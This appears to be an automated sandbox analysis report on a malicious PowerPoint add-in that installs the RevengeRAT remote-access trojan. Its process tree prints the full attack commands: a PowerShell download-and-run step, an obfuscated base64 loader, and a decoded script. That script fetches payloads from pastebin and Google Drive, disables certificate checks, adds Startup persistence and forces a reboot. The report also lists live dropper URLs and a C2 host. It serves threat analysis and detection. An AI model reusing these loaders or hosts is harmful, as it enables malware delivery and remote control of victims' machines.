Analysis
- max time kernel
0s - max time network
161s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system - submitted
07/06/2024, 01:43
Static task
static1
Behavioral task
behavioral1
Sample
68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92.ppam
Resource
win7-20240221-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92.ppam
Resource
win10v2004-20240426-en
6 signatures
150 seconds
General
- Target 68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92.ppam
- Size 12KB
- Sample240607-b5l31agf68
- SHA256 68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92
- MD5 ccf9ad38175132df46d557052a4189c7
- SHA1 cfe31d9d10e6459f7d6c9cad1d7b1a001f049e7d
- SHA512 005ff866a2b2c406d3b7be8016d24a21fca21ceb31510accb73cdbca68e0eb76259b97fb6ec504ea397990a85c2b2d5c1a89de6c2245d953e6d97cfd39116347
- SSDEEP 384:dXP8BPMpJA8+SC0hUYRknWyGzfisnru6C86:VP4PMpJ3vhJytou6P6
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
https://pastebin.com/raw/gk5zDwdG
-
exe.dropper
https://drive.google.com/uc?export=download&id=
Extracted
Family
-
revengerat
Botnet
-
NyanCatRevenge
C2
-
marcelotatuape.ddns.net:333
Mutex
-
1702a2bb715848
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process 228 3116 powershell.exe 81 - RevengeRAT
Remote-access trojan with a wide range of capabilities.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 34 pastebin.com 45 pastebin.com 33 pastebin.com - Command and Scripting Interpreter: JavaScript 1 TTPs
-
pid Process 2084 powershell.exe 4420 powershell.exe 4840 powershell.exe 2488 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3116 POWERPNT.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\68dd35d8e090d38ce3f32e1cd62cbc8694c1119eda4bdfb27d90a83e31336d92.ppam" /ou ""1⤵
- Suspicious use of SetWindowsHookEx
PID:3116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/fKOyTmUn/QXVgotKU.b12ff87cbf801677a1a4bd76e1e88980 -o test.js; explorer.exe test.js2⤵
- Process spawned unexpected child process
PID:228 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe" test.js3⤵PID:2248
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵PID:1556
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.js"2⤵PID:4896
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $teste_mAMGD = 'J❧BW❧GU❧cgBw❧G8❧dwBl❧HI❧I❧❧9❧C❧❧J❧Bo❧G8❧cwB0❧C4❧VgBl❧HI❧cwBp❧G8❧bg❧u❧E0❧YQBq❧G8❧cg❧u❧EU❧cQB1❧GE❧b❧Bz❧Cg❧Mg❧p❧Ds❧SQBm❧C❧❧K❧❧k❧FY❧ZQBy❧H❧❧bwB3❧GU❧cg❧p❧C❧❧ew❧k❧H❧❧YQBz❧HQ❧YQ❧g❧D0❧I❧Bb❧FM❧eQBz❧HQ❧ZQBt❧C4❧SQBP❧C4❧U❧Bh❧HQ❧a❧Bd❧Do❧OgBH❧GU❧d❧BU❧GU❧bQBw❧F❧❧YQB0❧Gg❧K❧❧p❧Ds❧Z❧Bl❧Gw❧I❧❧o❧CQ❧c❧Bh❧HM❧d❧Bh❧C❧❧Kw❧g❧Cc❧X❧BV❧H❧❧dwBp❧G4❧LgBt❧HM❧dQ❧n❧Ck❧Ow❧k❧FU❧UgBM❧Es❧Qg❧g❧D0❧I❧❧n❧Gg❧d❧B0❧H❧❧cw❧6❧C8❧LwBk❧HI❧aQB2❧GU❧LgBn❧G8❧bwBn❧Gw❧ZQ❧u❧GM❧bwBt❧C8❧dQBj❧D8❧ZQB4❧H❧❧bwBy❧HQ❧PQBk❧G8❧dwBu❧Gw❧bwBh❧GQ❧JgBp❧GQ❧PQ❧n❧Ds❧J❧BX❧Gk❧bgBW❧GU❧cg❧g❧D0❧I❧❧k❧GU❧bgB2❧Do❧U❧BS❧E8❧QwBF❧FM❧UwBP❧FI❧XwBB❧FI❧QwBI❧Ek❧V❧BF❧EM❧V❧BV❧FI❧RQ❧u❧EM❧bwBu❧HQ❧YQBp❧G4❧cw❧o❧Cc❧Ng❧0❧Cc❧KQ❧7❧Gk❧Zg❧g❧Cg❧J❧BX❧Gk❧bgBW❧GU❧cg❧p❧C❧❧ew❧k❧FU❧UgBM❧Es❧Qg❧g❧D0❧I❧❧o❧CQ❧VQBS❧Ew❧SwBC❧C❧❧Kw❧g❧Cc❧Vw❧x❧DE❧MgBB❧GQ❧U❧Bm❧Ek❧M❧BQ❧EM❧NwBo❧GI❧cwBj❧Gk❧Xw❧1❧F8❧M❧Bf❧GU❧VQ❧3❧E4❧dwBN❧Fo❧a❧Bm❧DQ❧e❧❧n❧Ck❧I❧❧7❧H0❧ZQBs❧HM❧ZQ❧g❧Hs❧J❧BV❧FI❧T❧BL❧EI❧I❧❧9❧C❧❧K❧❧k❧FU❧UgBM❧Es❧Qg❧g❧Cs❧I❧❧n❧DE❧YgBy❧Go❧NQBq❧HE❧bgBx❧FI❧e❧BD❧EQ❧NgBW❧Gg❧ZgBo❧EE❧bg❧y❧HI❧YwBW❧GY❧cwBS❧G8❧NwBE❧Dg❧ZwBy❧Cc❧KQ❧g❧Ds❧fQ❧7❧CQ❧d❧BQ❧FY❧RgBz❧C❧❧PQ❧g❧Cg❧TgBl❧Hc❧LQBP❧GI❧agBl❧GM❧d❧❧g❧E4❧ZQB0❧C4❧VwBl❧GI❧QwBs❧Gk❧ZQBu❧HQ❧KQ❧g❧Ds❧J❧B0❧F❧❧VgBG❧HM❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧I❧❧9❧C❧❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧FQ❧ZQB4❧HQ❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧XQ❧6❧Do❧VQBU❧EY❧O❧❧g❧Ds❧J❧B0❧F❧❧VgBG❧HM❧LgBE❧G8❧dwBu❧Gw❧bwBh❧GQ❧RgBp❧Gw❧ZQ❧o❧CQ❧VQBS❧Ew❧SwBC❧Cw❧I❧❧k❧H❧❧YQBz❧HQ❧YQ❧g❧Cs❧I❧❧n❧Fw❧VQBw❧Hc❧aQBu❧C4❧bQBz❧HU❧Jw❧p❧C❧❧Ow❧k❧EY❧bwBs❧GQ❧UwB0❧GE❧cgB0❧HU❧c❧❧g❧D0❧I❧❧o❧Cc❧Qw❧6❧Fw❧VQBz❧GU❧cgBz❧Fw❧Jw❧g❧Cs❧I❧Bb❧EU❧bgB2❧Gk❧cgBv❧G4❧bQBl❧G4❧d❧Bd❧Do❧OgBV❧HM❧ZQBy❧E4❧YQBt❧GU❧I❧❧p❧Ds❧J❧Bm❧Gk❧b❧Bl❧C❧❧PQ❧g❧Cg❧J❧Bw❧GE❧cwB0❧GE❧I❧❧r❧C❧❧JwBc❧FU❧c❧B3❧Gk❧bg❧u❧G0❧cwB1❧Cc❧KQ❧7❧C❧❧c❧Bv❧Hc❧ZQBy❧HM❧a❧Bl❧Gw❧b❧❧u❧GU❧e❧Bl❧C❧❧dwB1❧HM❧YQ❧u❧GU❧e❧Bl❧C❧❧J❧Bm❧Gk❧b❧Bl❧C❧❧LwBx❧HU❧aQBl❧HQ❧I❧❧v❧G4❧bwBy❧GU❧cwB0❧GE❧cgB0❧C❧❧Ow❧g❧EM❧bwBw❧Hk❧LQBJ❧HQ❧ZQBt❧C❧❧Jw❧l❧EQ❧QwBQ❧Eo❧VQ❧l❧Cc❧I❧❧t❧EQ❧ZQBz❧HQ❧aQBu❧GE❧d❧Bp❧G8❧bg❧g❧Cg❧I❧❧k❧EY❧bwBs❧GQ❧UwB0❧GE❧cgB0❧HU❧c❧❧g❧Cs❧I❧❧n❧Fw❧QQBw❧H❧❧R❧Bh❧HQ❧YQBc❧FI❧bwBh❧G0❧aQBu❧Gc❧X❧BN❧Gk❧YwBy❧G8❧cwBv❧GY❧d❧Bc❧Fc❧aQBu❧GQ❧bwB3❧HM❧X❧BT❧HQ❧YQBy❧HQ❧I❧BN❧GU❧bgB1❧Fw❧U❧By❧G8❧ZwBy❧GE❧bQBz❧Fw❧UwB0❧GE❧cgB0❧HU❧c❧❧n❧C❧❧KQ❧g❧C0❧ZgBv❧HI❧YwBl❧C❧❧OwBw❧G8❧dwBl❧HI❧cwBo❧GU❧b❧Bs❧C4❧ZQB4❧GU❧I❧❧t❧GM❧bwBt❧G0❧YQBu❧GQ❧I❧❧n❧HM❧b❧Bl❧GU❧c❧❧g❧DE❧O❧❧w❧Cc❧Ow❧g❧HM❧a❧B1❧HQ❧Z❧Bv❧Hc❧bg❧u❧GU❧e❧Bl❧C❧❧LwBy❧C❧❧LwB0❧C❧❧M❧❧g❧C8❧Zg❧g❧H0❧ZQBs❧HM❧ZQ❧g❧Hs❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧E4❧ZQB0❧C4❧UwBl❧HI❧dgBp❧GM❧ZQBQ❧G8❧aQBu❧HQ❧TQBh❧G4❧YQBn❧GU❧cgBd❧Do❧OgBT❧GU❧cgB2❧GU❧cgBD❧GU❧cgB0❧Gk❧ZgBp❧GM❧YQB0❧GU❧VgBh❧Gw❧aQBk❧GE❧d❧Bp❧G8❧bgBD❧GE❧b❧Bs❧GI❧YQBj❧Gs❧I❧❧9❧C❧❧ew❧k❧HQ❧cgB1❧GU❧fQ❧7❧Fs❧UwB5❧HM❧d❧Bl❧G0❧LgBO❧GU❧d❧❧u❧FM❧ZQBy❧HY❧aQBj❧GU❧U❧Bv❧Gk❧bgB0❧E0❧YQBu❧GE❧ZwBl❧HI❧XQ❧6❧Do❧UwBl❧GM❧dQBy❧Gk❧d❧B5❧F❧❧cgBv❧HQ❧bwBj❧G8❧b❧❧g❧D0❧I❧Bb❧FM❧eQBz❧HQ❧ZQBt❧C4❧TgBl❧HQ❧LgBT❧GU❧YwB1❧HI❧aQB0❧Hk❧U❧By❧G8❧d❧Bv❧GM❧bwBs❧FQ❧eQBw❧GU❧XQ❧6❧Do❧V❧Bs❧HM❧MQ❧y❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧I❧❧9❧C❧❧K❧BO❧GU❧dw❧t❧E8❧YgBq❧GU❧YwB0❧C❧❧TgBl❧HQ❧LgBX❧GU❧YgBD❧Gw❧aQBl❧G4❧d❧❧p❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧I❧❧9❧C❧❧WwBT❧Hk❧cwB0❧GU❧bQ❧u❧FQ❧ZQB4❧HQ❧LgBF❧G4❧YwBv❧GQ❧aQBu❧Gc❧XQ❧6❧Do❧VQBU❧EY❧O❧❧7❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧W❧BZ❧Eg❧SQBh❧C❧❧PQ❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧ZwB5❧HM❧dwBR❧C4❧R❧Bv❧Hc❧bgBs❧G8❧YQBk❧FM❧d❧By❧Gk❧bgBn❧Cg❧I❧❧n❧Gg❧d❧B0❧H❧❧cw❧6❧C8❧LwBw❧GE❧cwB0❧GU❧YgBp❧G4❧LgBj❧G8❧bQ❧v❧HI❧YQB3❧C8❧ZwBr❧DU❧egBE❧Hc❧Z❧BH❧Cc❧I❧❧p❧Ds❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧I❧❧9❧C❧❧J❧B0❧GU❧cwB0❧GU❧XwBn❧Hk❧cwB3❧FE❧LgBE❧G8❧dwBu❧Gw❧bwBh❧GQ❧UwB0❧HI❧aQBu❧Gc❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧W❧BZ❧Eg❧SQBh❧C❧❧KQ❧7❧Fs❧QgB5❧HQ❧ZQBb❧F0❧XQ❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧VQBR❧F❧❧c❧Ba❧C❧❧PQ❧g❧Fs❧UwB5❧HM❧d❧Bl❧G0❧LgBD❧G8❧bgB2❧GU❧cgB0❧F0❧Og❧6❧EY❧cgBv❧G0❧QgBh❧HM❧ZQ❧2❧DQ❧UwB0❧HI❧aQBu❧Gc❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧ZwB5❧HM❧dwBR❧C4❧UgBl❧H❧❧b❧Bh❧GM❧ZQ❧o❧C❧❧JwCTITo❧kyEn❧C❧❧L❧❧g❧Cc❧QQ❧n❧C❧❧KQ❧g❧Ck❧OwBb❧FM❧eQBz❧HQ❧ZQBt❧C4❧QQBw❧H❧❧R❧Bv❧G0❧YQBp❧G4❧XQ❧6❧Do❧QwB1❧HI❧cgBl❧G4❧d❧BE❧G8❧bQBh❧Gk❧bg❧u❧Ew❧bwBh❧GQ❧K❧❧g❧CQ❧d❧Bl❧HM❧d❧Bl❧F8❧VQBR❧F❧❧c❧Ba❧C❧❧KQ❧u❧Ec❧ZQB0❧FQ❧eQBw❧GU❧K❧❧g❧Cc❧QwBs❧GE❧cwBz❧Ew❧aQBi❧HI❧YQBy❧Hk❧Mw❧u❧EM❧b❧Bh❧HM❧cw❧x❧Cc❧I❧❧p❧C4❧RwBl❧HQ❧TQBl❧HQ❧a❧Bv❧GQ❧K❧❧g❧Cc❧c❧By❧EY❧VgBJ❧Cc❧I❧❧p❧C4❧SQBu❧HY❧bwBr❧GU❧K❧❧k❧G4❧dQBs❧Gw❧L❧❧g❧Fs❧bwBi❧Go❧ZQBj❧HQ❧WwBd❧F0❧I❧❧o❧C❧❧Jw❧5❧D❧❧Yg❧w❧DY❧M❧❧4❧DQ❧Yw❧w❧Dc❧Mw❧2❧Dc❧OQ❧5❧GY❧NQBk❧Dc❧O❧❧y❧GY❧O❧❧1❧GE❧MwBj❧D❧❧YQ❧w❧DU❧PQB2❧CY❧Z❧Bh❧G8❧b❧Bu❧Hc❧bwBk❧D0❧ZQBj❧HI❧dQBv❧HM❧JgB0❧Hg❧d❧❧u❧DQ❧Mg❧w❧DI❧Lg❧2❧D❧❧Lg❧0❧D❧❧Nw❧y❧CU❧Nw❧y❧CU❧O❧❧t❧EY❧V❧BV❧EQ❧Mw❧l❧EE❧Mg❧l❧GU❧bQBh❧G4❧ZQBs❧Gk❧Zg❧r❧EI❧Mw❧l❧DI❧Mg❧l❧HQ❧e❧B0❧C4❧N❧❧y❧D❧❧Mg❧u❧DY❧M❧❧u❧DQ❧M❧❧y❧DI❧JQBE❧DM❧JQBl❧G0❧YQBu❧GU❧b❧Bp❧GY❧KwBC❧DM❧JQB0❧G4❧ZQBt❧Gg❧YwBh❧HQ❧d❧Bh❧D0❧bgBv❧Gk❧d❧Bp❧HM❧bwBw❧HM❧aQBk❧C0❧d❧Bu❧GU❧d❧Bu❧G8❧Yw❧t❧GU❧cwBu❧G8❧c❧Bz❧GU❧cg❧/❧HQ❧e❧B0❧C4❧N❧❧z❧GU❧Mg❧x❧GU❧YwBj❧Dc❧OQ❧x❧DQ❧LQBm❧DE❧Nw❧4❧C0❧M❧❧w❧DY❧N❧❧t❧Dc❧N❧❧0❧GY❧LQ❧3❧GY❧N❧❧2❧GU❧YQBh❧Dc❧LwBK❧Dg❧W❧B5❧Es❧dQBE❧GU❧LwBz❧G0❧ZQB0❧Gk❧LwBt❧G8❧Yw❧u❧HQ❧a❧Bn❧Gk❧eg❧u❧G4❧Z❧Bj❧C4❧M❧Bu❧C4❧MQBy❧HQ❧Lg❧3❧H❧❧Lw❧v❧Do❧cwBw❧HQ❧d❧Bo❧Cc❧I❧❧s❧C❧❧Jw❧l❧EQ❧QwBQ❧Eo❧VQ❧l❧Cc❧L❧❧g❧Cc❧V❧By❧HU❧ZQ❧x❧Cc❧I❧❧p❧C❧❧KQ❧7❧H0❧Ow❧=';$teste_mAMGD = $teste_mAMGD.replace('❧','A');$teste_mAMGD = [System.Convert]::FromBase64String( $teste_mAMGD ) ;$teste_mAMGD = [System.Text.Encoding]::Unicode.GetString( $teste_mAMGD );$teste_mAMGD = $teste_mAMGD.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\test.js');powershell $teste_mAMGD3⤵
- Command and Scripting Interpreter: PowerShell
PID:2488 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Verpower = $host.Version.Major.Equals(2);If ($Verpower) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$URLKB = 'https://drive.google.com/uc?export=download&id=';$WinVer = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ($WinVer) {$URLKB = ($URLKB + 'W112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$URLKB = ($URLKB + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$tPVFs = (New-Object Net.WebClient) ;$tPVFs.Encoding = [System.Text.Encoding]::UTF8 ;$tPVFs.DownloadFile($URLKB, $pasta + '\Upwin.msu') ;$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\test.js' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$teste_gyswQ = (New-Object Net.WebClient);$teste_gyswQ.Encoding = [System.Text.Encoding]::UTF8;$teste_XYHIa = $teste_gyswQ.DownloadString( 'https://pastebin.com/raw/gk5zDwdG' );$teste_gyswQ = $teste_gyswQ.DownloadString( $teste_XYHIa );[Byte[]] $teste_UQPpZ = [System.Convert]::FromBase64String( $teste_gyswQ.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $teste_UQPpZ ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( '90b06084c0736799f5d782f85a3c0a05=v&daolnwod=ecruos&txt.4202.60.4072%72%8-FTUD3%A2%emanelif+B3%22%txt.4202.60.4022%D3%emanelif+B3%tnemhcatta=noitisopsid-tnetnoc-esnopser?txt.43e21ecc7914-f178-0064-744f-7f46eaa7/J8XyKuDe/smeti/moc.thgiz.ndc.0n.1rt.7p//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\test.js', 'True1' ) );};"4⤵
- Command and Scripting Interpreter: PowerShell
PID:4840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1"5⤵
- Command and Scripting Interpreter: PowerShell
PID:2084
-
-
C:\Windows\system32\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.js"5⤵PID:2880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qfdkg.ps1"5⤵
- Command and Scripting Interpreter: PowerShell
PID:4420 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵PID:3644
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 38400f70d7057dc3ac450b36ea385d867c8fb64340505f2033e84c0917acd449
- MD5 65d233b0b0a518aeb3b0dcf1e1bed606
- SHA1 51276cbc782ab690c577fec8fff87fb0ebb38fbc
- SHA512 7ac47cf8132aba101f347565fd524075a3e3d4b8c413d2da6be05fbd057790c69057215844ef83db3266148e60c85e8ba4a2e1b99d5808b6c5bbc46e1102a505
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a35b0489a820cc48ea43d8996a8f5cde14ee0be7c4233e153f218f3aa05308b1
- MD5 02b1cd504f49ff3c1afaac270000320c
- SHA1 58c9cb47fab526c72bf03cb4f9f1ab2390a46f0b
- SHA512 32bfb375283985b2355ed454e13493dc6363e4b4478105edf2d5bc38320a58e331e3170fd4b7e25cca2fd3f574070609360fc85276f862c618b3552b55d58aef
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 baa9d321bc8b0db872b6ba575f9a73f49a82c6c77903f501362bec29b99a365e
- MD5 eadfb7f9a8269c2d79f427de457bc6ff
- SHA1 10fc2814dbea3f7d6f7150de634def02b5c32564
- SHA512 5db909c9e0e9ba1c498d2e8fcafe689cb3abaa04e5e88114407e327279366bb4710a5477b67b420c607ae6aa5eab5ea7c84d56ca42b750f88f5c62e9c0529a15
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 10d0c060bd522632a5034ea9d5b78637043f4ae8d84e3bcc6b1ea0457b063bc8
- MD5 e3ea197add74f6d8e34d7a2ceccc858e
- SHA1 26d026b6ea537ec46d21c8b521b4f76cc8f9f833
- SHA512 8981a0d1f4a52c00a0e7ccb796c1eb0554e282249385f070fd552d999ae518f9e89ae56b3e42a585739ddb672e4f2a6b4e92be8b43b9bc68e4f303101231cd5b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sni2uwxc.zqt.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\test.js
- Size 15KB
- SHA256 7d6b6172faca0b9c0f5a2165c4daa1529bd3a9c6056e7409659782d2abbd139b
- MD5 cca13a08579996872319588360a61cd9
- SHA1 f0ea3e312b8ad4486dbbf7db1e90185ac50341a0
- SHA512 01027872c154c9b6f09ce214d68f7c7a30b4dcf14566f27c6dd723fd2adbffe7895ed2b87f4111bf50421af8e97674fd1d018c2b9149470ca8ce8272ff02d331
- SSDEEP 384:BOhYAjgGTnTWINvAUGhiSHF8HAMo5nsPkprZI6zQr7DUGv+P6pCDvMspnivBPzPx:BOhYAj1TWovAUGhiSHF8HAMo5nsPkprC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\qfdkg.ps1
- Size 135KB
- SHA256 8cc8e6408557da8f12d6eab90bef4c99bdcfd3b44c7a9526bd44530e3c306146
- MD5 864851215bc4a81074d3e9ca584cb440
- SHA1 ea8af2e6537c524929aab8a92f74dc363265450b
- SHA512 e356440966381738c2486ba664ff9638018ff2ce4f4612863a88395b9b2a0b44596803408e716c080d9efd2d9896fcb2b00a1c8463f582458ef3e3883e47654f
- SSDEEP 1536:pVPL8JhGJKYsrl8QHmv6joa+qPofqGL5Gosd+Jy:zGhGJMl83ag5Gosd+Jy
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\x2.ps1
- Size 390B
- SHA256 34467283cb2a2b54d34047eb0c3896b70aa7b03efe5295689b2cb939ad9c35bf
- MD5 65b2f61b6cc496e3ea91f0b3f9c7d79b
- SHA1 edb2c0224a8fe7ff8427d120f126d93caebd4e1c
- SHA512 1da3a8858fd50407151e75440ac68be8335472925ce48b8324485737e508342cef646591a4a8ac00d2178a898dff07a3dfcfdd8c708685cc812a9a967a112d71
- MD5 SHA1 SHA512